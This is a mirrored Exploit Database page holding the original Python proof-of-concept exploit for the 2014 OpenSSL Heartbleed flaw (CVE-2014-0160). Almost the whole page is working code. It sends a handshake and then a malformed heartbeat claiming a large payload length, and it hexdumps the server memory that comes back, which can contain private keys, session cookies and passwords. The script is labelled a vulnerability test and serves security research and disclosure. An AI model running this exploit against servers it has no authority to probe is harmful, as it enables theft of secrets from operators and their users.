OpenSSL TLS Heartbeat Extension – ‘Heartbleed’ Memory Disclosure

Exploit Database
115 阅读

作者： Jared Stafford

日期： 2014-04-08
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/32745/

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#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''

16 03 02 00dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 0390 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 3500 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0dc0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 3200 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 9600 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 1500 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 3400 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 0900 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 1500 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f00 10 00 11 00 23 00 00

00 0f 00 01 01

''')

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

print '%04x: %-48s %s' % (b, hxdat, pdat)

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)

if hdr is None:

print 'Unexpected EOF receiving record header - server closed connection'

return None, None, None

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

print 'Unexpected EOF receiving record payload - server closed connection'

return None, None, None

print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

return typ, ver, pay

def hit_hb(s):

s.send(hb)

while True:

typ, ver, pay = recvmsg(s)

if typ is None:

print 'No heartbeat response received, server likely not vulnerable'

return False

if typ == 24:

print 'Received heartbeat response:'

hexdump(pay)

if len(pay) > 3:

print 'WARNING: server returned more data than it should - server is vulnerable!'

else:

print 'Server processed malformed heartbeat, but did not return any extra data.'

return True

if typ == 21:

print 'Received alert:'

hexdump(pay)

print 'Server returned error, likely not vulnerable'

return False

def main():

opts, args = options.parse_args()

if len(args) < 1:

options.print_help()

return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Connecting...'

sys.stdout.flush()

s.connect((args[0], opts.port))

print 'Sending Client Hello...'

sys.stdout.flush()

s.send(hello)

print 'Waiting for Server Hello...'

sys.stdout.flush()

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

print 'Server closed connection without sending Server Hello.'

return

# Look for server hello done message.

if typ == 22 and ord(pay[0]) == 0x0E:

break

print 'Sending heartbeat request...'

sys.stdout.flush()

s.send(hb)

hit_hb(s)

if __name__ == '__main__':

main()